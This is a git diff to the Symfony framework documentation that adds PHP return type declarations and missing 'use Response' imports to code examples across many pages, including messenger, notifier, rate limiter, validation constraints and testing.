index 908a17f2a8e..0261496e1b4 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -38,7 +38,7 @@ that renders a template when there is no specific logic. To keep the same
 template as before, request attributes are extracted before the template is
 rendered::
 
-    function render_template($request)
+    function render_template(Request $request): Response
     {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
@@ -106,7 +106,7 @@ Here is the updated and improved version of our framework::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function render_template($request)
+    function render_template(Request $request): Response
     {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
@@ -145,7 +145,7 @@ framework does not need to be modified in any way, create a new
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function is_leap_year($year = null)
+    function is_leap_year(int $year = null): bool
     {
         if (null === $year) {
             $year = date('Y');
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 6eec1e91333..5c783c5279a 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -87,7 +87,7 @@ We are now ready to write our first test::
 
     class FrameworkTest extends TestCase
     {
-        public function testNotFoundHandling()
+        public function testNotFoundHandling(): void
         {
             $framework = $this->getFrameworkForException(new ResourceNotFoundException());
 
@@ -96,7 +96,7 @@ We are now ready to write our first test::
             $this->assertEquals(404, $response->getStatusCode());
         }
 
-        private function getFrameworkForException($exception)
+        private function getFrameworkForException($exception): Framework
         {
             $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class);
 
@@ -137,7 +137,7 @@ either in the test or in the framework code!
 
 Adding a unit test for any exception thrown in a controller::
 
-    public function testErrorHandling()
+    public function testErrorHandling(): void
     {
         $framework = $this->getFrameworkForException(new \RuntimeException());
 
@@ -154,7 +154,7 @@ Response::
     use Symfony\Component\HttpKernel\Controller\ControllerResolver;
     // ...
 
-    public function testControllerResponse()
+    public function testControllerResponse(): void
     {
         $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class);
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 896dff71d29..ef9f74c4ae9 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -732,7 +732,7 @@ this::
             return $this->message;
         }
 
-        public function setMessage(string $message)
+        public function setMessage(string $message): void
         {
             $this->message = $message;
         }
@@ -757,7 +757,7 @@ And the ``AfterSendMailEvent`` even like this::
             return $this->returnValue;
         }
 
-        public function setReturnValue(mixed $returnValue)
+        public function setReturnValue(mixed $returnValue): void
         {
             $this->returnValue = $returnValue;
         }
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index b5936ccec2c..cb5c7936701 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -189,7 +189,7 @@ fields and only one of them needs to be mapped in some special way or you only
 need to change how it's written into the underlying object. In that case, register
 a PHP callable that is able to write or read to/from that specific object::
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
diff --git a/form/embedded.rst b/form/embedded.rst
index 4263bb42b5d..dd163235f03 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -44,7 +44,7 @@ Next, add a new ``category`` property to the ``Task`` class::
             return $this->category;
         }
 
-        public function setCategory(?Category $category)
+        public function setCategory(?Category $category): void
         {
             $this->category = $category;
         }
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 048a3c7c0d0..3c38bbbaf17 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -44,7 +44,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
 
     class TestedTypeTest extends TypeTestCase
     {
-        public function testSubmitValidData()
+        public function testSubmitValidData(): void
         {
             $formData = [
                 'test' => 'test',
@@ -68,7 +68,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             $this->assertEquals($expected, $model);
         }
 
-        public function testCustomFormView()
+        public function testCustomFormView(): void
         {
             $formData = new TestObject();
             // ... prepare the data as you need
@@ -164,7 +164,7 @@ make sure the ``FormRegistry`` uses the created instance::
             parent::setUp();
         }
 
-        protected function getExtensions()
+        protected function getExtensions(): array
         {
             // create a type instance with the mocked dependencies
             $type = new TestedType($this->objectManager);
@@ -175,7 +175,7 @@ make sure the ``FormRegistry`` uses the created instance::
             ];
         }
 
-        public function testSubmitValidData()
+        public function testSubmitValidData(): void
         {
             // ...
 
@@ -210,7 +210,7 @@ allows you to return a list of extensions to register::
 
     class TestedTypeTest extends TypeTestCase
     {
-        protected function getExtensions()
+        protected function getExtensions(): array
         {
             $validator = Validation::createValidator();
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 0bbcf934e58..f41d6f578fc 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -63,7 +63,7 @@ version string::
             $this->format = $format ?: '%s?%s';
         }
 
-        public function getVersion(string $path)
+        public function getVersion(string $path): string
         {
             if (!is_array($this->hashes)) {
                 $this->hashes = $this->loadManifest();
@@ -72,7 +72,7 @@ version string::
             return $this->hashes[$path] ?? '';
         }
 
-        public function applyVersion(string $path)
+        public function applyVersion(string $path): string
         {
             $version = $this->getVersion($path);
 
@@ -83,7 +83,7 @@ version string::
             return sprintf($this->format, $path, $version);
         }
 
-        private function loadManifest()
+        private function loadManifest(): array
         {
             return json_decode(file_get_contents($this->manifestPath), true);
         }
diff --git a/http_cache.rst b/http_cache.rst
index 71a05bfad41..e1f1a57399c 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -213,9 +213,8 @@ The *easiest* way to cache a response is by caching it for a specific amount of
 
         // src/Controller/BlogController.php
         use Symfony\Component\HttpFoundation\Response;
-        // ...
 
-        public function index()
+        public function index(): Response
         {
             // somehow create a Response object, like by rendering a template
             $response = $this->render('blog/index.html.twig', []);
diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst
index 6d0254f4510..cb0db8c674d 100644
--- a/http_cache/cache_vary.rst
+++ b/http_cache/cache_vary.rst
@@ -42,7 +42,7 @@ attribute::
 
         #[Cache(vary: ['Accept-Encoding'])]
         #[Cache(vary: ['Accept-Encoding', 'User-Agent'])]
-        public function index()
+        public function index(): Response
         {
             // ...
         }
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 166672d2c05..aaf1de564c1 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -189,8 +189,10 @@ of the main page::
         // ...
         class NewsController extends AbstractController
         {
-            public function latest($maxPerPage)
+            public function latest(int $maxPerPage): Response
             {
+                // ...
+
                 // sets to public and adds some expiration
                 $response->setSharedMaxAge(60);
 
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index e6d05311662..692c3db7622 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -25,7 +25,7 @@ is used to specify many different cache directives::
         // ...
 
         #[Cache(public: true, maxage: 600)]
-        public function index()
+        public function index(): Response
         {
             // ...
         }
@@ -72,7 +72,7 @@ the ``setExpires()`` ``Response`` method::
         // ...
 
         #[Cache(expires: '+600 seconds')]
-        public function index()
+        public function index(): Response
         {
             // ...
         }
diff --git a/lock.rst b/lock.rst
index de976f1cfb0..35c3dc5be3c 100644
--- a/lock.rst
+++ b/lock.rst
@@ -174,12 +174,13 @@ To lock the default resource, autowire the lock factory using
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Lock\LockFactory;
 
     class PdfController extends AbstractController
     {
         #[Route('/download/terms-of-use.pdf')]
-        public function downloadPdf(LockFactory $factory, MyPdfGeneratorService $pdf)
+        public function downloadPdf(LockFactory $factory, MyPdfGeneratorService $pdf): Response
         {
             $lock = $factory->createLock('pdf-creation');
             $lock->acquire(true);
@@ -213,12 +214,13 @@ processes asking for the same ``$version``::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Lock\LockFactory;
 
     class PdfController extends AbstractController
     {
         #[Route('/download/{version}/terms-of-use.pdf')]
-        public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf)
+        public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf): Response
         {
             $lock = $lockFactory->createLock('pdf-creation-'.$version);
             $lock->acquire(true);
@@ -293,12 +295,13 @@ For instance, the ``invoice`` lock can be injected by naming the argument
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Lock\LockFactory;
 
     class PdfController extends AbstractController
     {
         #[Route('/download/terms-of-use.pdf')]
-        public function downloadPdf(LockFactory $invoiceLockFactory, MyPdfGeneratorService $pdf)
+        public function downloadPdf(LockFactory $invoiceLockFactory, MyPdfGeneratorService $pdf): Response
         {
             // ...
         }
diff --git a/logging.rst b/logging.rst
index ecc14a9b8b0..ffa967962e5 100644
--- a/logging.rst
+++ b/logging.rst
@@ -26,8 +26,9 @@ Logging a Message
 To log a message, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
+    // ...
 
-    public function index(LoggerInterface $logger)
+    public function index(LoggerInterface $logger): Response
     {
         $logger->info('I just got the logger');
         $logger->error('An error occurred');
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index ad06cfabbff..fabccc72e62 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -13,7 +13,7 @@ calls need to be wrapped in conditions. For example::
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
-    protected function execute(InputInterface $input, OutputInterface $output)
+    protected function execute(InputInterface $input, OutputInterface $output): int
     {
         if ($output->isDebug()) {
             $output->writeln('Some info');
@@ -22,6 +22,8 @@ calls need to be wrapped in conditions. For example::
         if ($output->isVerbose()) {
             $output->writeln('Some more info');
         }
+
+        // ...
     }
 
 Instead of using these semantic methods to test for each of the verbosity
@@ -47,10 +49,12 @@ The example above could then be rewritten as::
         ) {
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $this->logger->debug('Some info');
             $this->logger->notice('Some more info');
+
+            // ...
         }
     }
 
diff --git a/mailer.rst b/mailer.rst
index 205d4abbc3f..63a91977c2e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1354,7 +1354,7 @@ render the email before calling ``$mailer->send($email)``::
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\BodyRendererInterface;
 
-    public function action(MailerInterface $mailer, BodyRendererInterface $bodyRenderer)
+    public function action(MailerInterface $mailer, BodyRendererInterface $bodyRenderer): void
     {
         $email = (new TemplatedEmail())
             ->htmlTemplate($template)
@@ -1781,7 +1781,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 
     class MailControllerTest extends WebTestCase
     {
-        public function testMailIsSentAndContentIsOk()
+        public function testMailIsSentAndContentIsOk(): void
         {
             $client = static::createClient();
             $client->request('GET', '/mail/send');
diff --git a/mercure.rst b/mercure.rst
index 34f5f0c4b70..55889a33ff7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -628,7 +628,7 @@ You can instead make use of the ``MockHub`` class::
 
     class MessageControllerTest extends TestCase
     {
-        public function testPublishing()
+        public function testPublishing(): void
         {
             $hub = new MockHub('https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
                 // $this->assertTrue($update->isPrivate());
diff --git a/messenger.rst b/messenger.rst
index b1349f476d9..8e6648f9dcb 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -96,11 +96,12 @@ You're ready! To dispatch the message (and call the handler), inject the
 
     use App\Message\SmsNotification;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Messenger\MessageBusInterface;
 
     class DefaultController extends AbstractController
     {
-        public function index(MessageBusInterface $bus)
+        public function index(MessageBusInterface $bus): Response
         {
             // will cause the SmsNotificationHandler to be called
             $bus->dispatch(new SmsNotification('Look! I created a message!'));
@@ -392,7 +393,7 @@ Then, in your handler, you can query for a fresh object::
         ) {
         }
 
-        public function __invoke(NewUserWelcomeEmail $welcomeEmail)
+        public function __invoke(NewUserWelcomeEmail $welcomeEmail): void
         {
             $user = $this->userRepository->find($welcomeEmail->getUserId());
 
@@ -1697,7 +1698,7 @@ during a request::
 
     class DefaultControllerTest extends WebTestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             $client = static::createClient();
             // ...
@@ -1900,7 +1901,7 @@ You can configure your handler by passing options to the attribute::
     #[AsMessageHandler(fromTransport: 'async', priority: 10)]
     class SmsNotificationHandler
     {
-        public function __invoke(SmsNotification $message)
+        public function __invoke(SmsNotification $message): void
         {
             // ...
         }
@@ -1994,13 +1995,13 @@ A single handler class can handle multiple messages. For that add the
     class SmsNotificationHandler
     {
         #[AsMessageHandler]
-        public function handleSmsNotification(SmsNotification $message)
+        public function handleSmsNotification(SmsNotification $message): void
         {
             // ...
         }
 
         #[AsMessageHandler]
-        public function handleOtherSmsNotification(OtherSmsNotification $message)
+        public function handleOtherSmsNotification(OtherSmsNotification $message): void
         {
             // ...
         }
@@ -2039,7 +2040,7 @@ To do this, add the ``from_transport`` option to each handler. For example::
     #[AsMessageHandler(fromTransport: 'image_transport')]
     class ThumbnailUploadedImageHandler
     {
-        public function __invoke(UploadedImage $uploadedImage)
+        public function __invoke(UploadedImage $uploadedImage): void
         {
             // do some thumbnailing
         }
@@ -2146,7 +2147,7 @@ provided in order to ease the declaration of these special handlers::
     {
         use BatchHandlerTrait;
 
-        public function __invoke(MyMessage $message, Acknowledger $ack = null)
+        public function __invoke(MyMessage $message, Acknowledger $ack = null): mixed
         {
             return $this->handle($message, $ack);
         }
@@ -2201,7 +2202,7 @@ to your message::
     use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Stamp\DelayStamp;
 
-    public function index(MessageBusInterface $bus)
+    public function index(MessageBusInterface $bus): void
     {
         $bus->dispatch(new SmsNotification('...'), [
             // wait 5 seconds before processing
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index 28a449d70cb..ae810a7fee1 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -60,7 +60,7 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
         ) {
         }
 
-        public function __invoke(RegisterUser $command)
+        public function __invoke(RegisterUser $command): void
         {
             $user = new User($command->getUuid(), $command->getName(), $command->getEmail());
             $this->em->persist($user);
@@ -97,7 +97,7 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
         ) {
         }
 
-        public function __invoke(UserRegistered $event)
+        public function __invoke(UserRegistered $event): void
         {
             $user = $this->em->getRepository(User::class)->find($event->getUuid());
 
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index e7bae04cbea..39bab140a58 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -50,7 +50,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
         ) {
         }
 
-        public function __invoke()
+        public function __invoke(): void
         {
             $result = $this->query(new ListItemsQuery(/* ... */));
 
diff --git a/migration.rst b/migration.rst
index 4c1286125da..5be3ea51834 100644
--- a/migration.rst
+++ b/migration.rst
@@ -410,7 +410,7 @@ component::
     {
         // ...
 
-        public function load($resource, $type = null)
+        public function load($resource, $type = null): RouteCollection
         {
             $collection = new RouteCollection();
             $finder = new Finder();
diff --git a/notifier.rst b/notifier.rst
index 84b74d7bcf1..887909824ca 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -163,6 +163,7 @@ send SMS messages::
     // src/Controller/SecurityController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\Message\SmsMessage;
     use Symfony\Component\Notifier\TexterInterface;
     use Symfony\Component\Routing\Annotation\Route;
@@ -170,7 +171,7 @@ send SMS messages::
     class SecurityController
     {
         #[Route('/login/success')]
-        public function loginSuccess(TexterInterface $texter)
+        public function loginSuccess(TexterInterface $texter): Response
         {
             $sms = new SmsMessage(
                 // the phone number to send the SMS message to
@@ -294,6 +295,7 @@ you to send messages to chat services::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\ChatterInterface;
     use Symfony\Component\Notifier\Message\ChatMessage;
     use Symfony\Component\Routing\Annotation\Route;
@@ -303,7 +305,7 @@ you to send messages to chat services::
         /**
          * @Route("/checkout/thankyou")
          */
-        public function thankyou(ChatterInterface $chatter)
+        public function thankyou(ChatterInterface $chatter): Response
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
                 // if not set explicitly, the message is sent to the
@@ -543,6 +545,7 @@ To send a notification, autowire the
     // src/Controller/InvoiceController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\Notification\Notification;
     use Symfony\Component\Notifier\NotifierInterface;
     use Symfony\Component\Notifier\Recipient\Recipient;
@@ -550,7 +553,7 @@ To send a notification, autowire the
     class InvoiceController extends AbstractController
     {
         #[Route('/invoice/create')]
-        public function create(NotifierInterface $notifier)
+        public function create(NotifierInterface $notifier): Response
         {
             // ...
 
@@ -677,7 +680,7 @@ sent using the Slack transport::
     class InvoiceController extends AbstractController
     {
         #[Route('/invoice/create')]
-        public function invoice(NotifierInterface $notifier)
+        public function invoice(NotifierInterface $notifier): Response
         {
             // ...
 
@@ -712,7 +715,7 @@ very high and the recipient has a phone number::
         ) {
         }
 
-        public function getChannels(RecipientInterface $recipient)
+        public function getChannels(RecipientInterface $recipient): array
         {
             if (
                 $this->price > 10000
diff --git a/performance.rst b/performance.rst
index a0a7847dcd3..eb52a796515 100644
--- a/performance.rst
+++ b/performance.rst
@@ -250,7 +250,7 @@ and Symfony will inject the ``debug.stopwatch`` service::
         ) {
         }
 
-        public function export()
+        public function export(): void
         {
             // the argument is the name of the "profiling event"
             $this->stopwatch->start('export-data');
diff --git a/profiler.rst b/profiler.rst
index 772a01d21c3..caae5993093 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -126,7 +126,7 @@ class in your controllers to manage the profiler programmatically::
     {
         // ...
 
-        public function someMethod(?Profiler $profiler)
+        public function someMethod(?Profiler $profiler): Response
         {
             // $profiler won't be set if your environment doesn't have the profiler (like prod, by default)
             if (null !== $profiler) {
@@ -230,7 +230,7 @@ event::
 
         // ...
 
-        public function onKernelResponse(ResponseEvent $event)
+        public function onKernelResponse(ResponseEvent $event): void
         {
             if (!$this->kernel->isDebug()) {
                 return;
@@ -274,7 +274,7 @@ request::
 
     class RequestCollector extends AbstractDataCollector
     {
-        public function collect(Request $request, Response $response, \Throwable $exception = null)
+        public function collect(Request $request, Response $response, \Throwable $exception = null): void
         {
             $this->data = [
                 'method' => $request->getMethod(),
@@ -341,6 +341,7 @@ template access to the collected information::
     namespace App\DataCollector;
 
     use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
+    use Symfony\Component\VarDumper\Cloner\Data;
 
     class RequestCollector extends AbstractDataCollector
     {
@@ -351,17 +352,17 @@ template access to the collected information::
             return 'data_collector/template.html.twig';
         }
 
-        public function getMethod()
+        public function getMethod(): string
         {
             return $this->data['method'];
         }
 
-        public function getAcceptableContentTypes()
+        public function getAcceptableContentTypes(): array
         {
             return $this->data['acceptable_content_types'];
         }
 
-        public function getSomeObject()
+        public function getSomeObject(): Data
         {
             // use the cloneVar() method to dump collected data in the profiler
             return $this->cloneVar($this->data['method']);
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 34413aec55e..a91cb8dc616 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -175,7 +175,7 @@ that extends ``AbstractExtension``::
         ) {
         }
 
-        public function getFilters()
+        public function getFilters(): array
         {
             return [
                 new TwigFilter('greet', [$this, 'greetUser']),
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 0ce381fb9b5..d89b17c9f46 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -222,6 +222,7 @@ the number of requests to the API::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
@@ -229,7 +230,7 @@ the number of requests to the API::
     {
         // if you're using service autowiring, the variable name must be:
         // "rate limiter name" (in camelCase) + "Limiter" suffix
-        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter): Response
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -271,11 +272,12 @@ using the ``reserve()`` method::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function registerUser(Request $request, RateLimiterFactory $authenticatedApiLimiter)
+        public function registerUser(Request $request, RateLimiterFactory $authenticatedApiLimiter): Response
         {
             $apiKey = $request->headers->get('apikey');
             $limiter = $authenticatedApiLimiter->create($apiKey);
@@ -334,7 +336,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 
     class ApiController extends AbstractController
     {
-        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter): Response
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index d7ee188f9a4..56c3f1ca1bb 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -157,7 +157,7 @@ you can access it using the ``getConnection()`` method and the name of the conne
 
     class SomeController
     {
-        public function someMethod(ManagerRegistry $doctrine)
+        public function someMethod(ManagerRegistry $doctrine): void
         {
             $connection = $doctrine->getConnection('customer');
             $result = $connection->fetchAll('SELECT name FROM customer');
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 2a14eff4531..2b6b855eded 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -39,7 +39,7 @@ Configuration
         class Author
         {
             #[Assert\Callback]
-            public function validate(ExecutionContextInterface $context, $payload)
+            public function validate(ExecutionContextInterface $context, $payload): void
             {
                 // ...
             }
@@ -75,12 +75,12 @@ Configuration
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Callback('validate'));
             }
 
-            public function validate(ExecutionContextInterface $context, $payload)
+            public function validate(ExecutionContextInterface $context, $payload): void
             {
                 // ...
             }
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 2ec882298ec..8e3b11a01ce 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -119,7 +119,7 @@ you can access those choices for validation or for building a select form elemen
 
     class Author
     {
-        public static function getGenres()
+        public static function getGenres(): array
         {
             return ['fiction', 'non-fiction'];
         }
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 26192069a8c..593aa4b8ba7 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -32,12 +32,12 @@ properties::
 
         // ...
 
-        public function getCategory()
+        public function getCategory(): string
         {
             return $this->category;
         }
 
-        public function setIsTechnicalPost($isTechnicalPost)
+        public function setIsTechnicalPost(bool $isTechnicalPost): void
         {
             $this->isTechnicalPost = $isTechnicalPost;
         }
@@ -109,7 +109,7 @@ One way to accomplish this is with the Expression constraint:
 
         class BlogPost
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Expression([
                     'expression' => 'this.getCategory() in ["php", "symfony"] or !this.isTechnicalPost()',
@@ -202,7 +202,7 @@ assert that the expression must return ``true`` for validation to fail.
 
             class BlogPost
             {
-                public static function loadValidatorMetadata(ClassMetadata $metadata)
+                public static function loadValidatorMetadata(ClassMetadata $metadata): void
                 {
                     $metadata->addPropertyConstraint('isTechnicalPost', new Assert\Expression([
                         'expression' => 'this.getCategory() in ["php", "symfony"] or value == false',
@@ -346,7 +346,7 @@ type (numeric, boolean, strings, null, etc.)
 
         class Analysis
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('metric', new Assert\Expression([
                     'expression' => 'value + error_margin < threshold',
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 04cd4d1c1e1..28e15976f3c 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -67,7 +67,7 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
 
         class Book
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('chapters', new Assert\Json([
                     'message' => 'You\'ve entered an invalid Json.',
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 0f92c9cce54..56d400fb964 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -194,7 +194,7 @@ disable validating:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Traverse(false));
             }
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 59b481b3175..67e4cb35377 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -62,7 +62,7 @@ Basic Usage
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('identifier', new Assert\Ulid());
             }
diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index ed855857b1d..cb5b4c935b2 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -128,7 +128,7 @@ One way to accomplish this is with the When constraint:
 
         class Discount
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('value', new Assert\GreaterThan(0));
                 $metadata->addPropertyConstraint('value', new Assert\When([
@@ -198,7 +198,7 @@ validation based on its value:
             private ?string $type;
             // ...
 
-            public function doComplexValidation(ExecutionContextInterface $context, $payload)
+            public function doComplexValidation(ExecutionContextInterface $context, $payload): void
             {
                 // ...
             }
@@ -250,7 +250,7 @@ validation based on its value:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('type', new Assert\When([
                     'expression' => 'value == "percent"',
@@ -260,7 +260,7 @@ validation based on its value:
                 ]));
             }
 
-            public function doComplexValidation(ExecutionContextInterface $context, $payload)
+            public function doComplexValidation(ExecutionContextInterface $context, $payload): void
             {
                 // ...
             }
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 7b953e20e3c..28f79bd7905 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -423,7 +423,7 @@ service class::
 
     class MyClearer implements CacheClearerInterface
     {
-        public function clear(string $cacheDirectory)
+        public function clear(string $cacheDirectory): void
         {
             // clear your cache
         }
@@ -490,7 +490,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 
     class MyCustomWarmer implements CacheWarmerInterface
     {
-        public function warmUp($cacheDirectory)
+        public function warmUp($cacheDirectory): array
         {
             // ... do some sort of operations to "warm" your cache
 
@@ -506,7 +506,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
             return $filesAndClassesToPreload;
         }
 
-        public function isOptional()
+        public function isOptional(): bool
         {
             return true;
         }
@@ -642,12 +642,12 @@ the :class:`Symfony\\Contracts\\Translation\\LocaleAwareInterface` interface::
 
     class MyCustomLocaleHandler implements LocaleAwareInterface
     {
-        public function setLocale($locale)
+        public function setLocale(string $locale): void
         {
             $this->locale = $locale;
         }
 
-        public function getLocale()
+        public function getLocale(): string
         {
             return $this->locale;
         }
@@ -1106,7 +1106,7 @@ required option: ``alias``, which defines the name of the extractor::
         /**
          * Extracts translation messages from a template directory to the catalog.
          */
-        public function extract(string $directory, MessageCatalogue $catalog)
+        public function extract(string $directory, MessageCatalogue $catalog): void
         {
             // ...
         }
@@ -1114,7 +1114,7 @@ required option: ``alias``, which defines the name of the extractor::
         /**
          * Sets the prefix that should be used for new found messages.
          */
-        public function setPrefix(string $prefix)
+        public function setPrefix(string $prefix): void
         {
             $this->prefix = $prefix;
         }
diff --git a/reference/events.rst b/reference/events.rst
index 19678449386..92f917f9115 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -61,7 +61,7 @@ entirely::
 
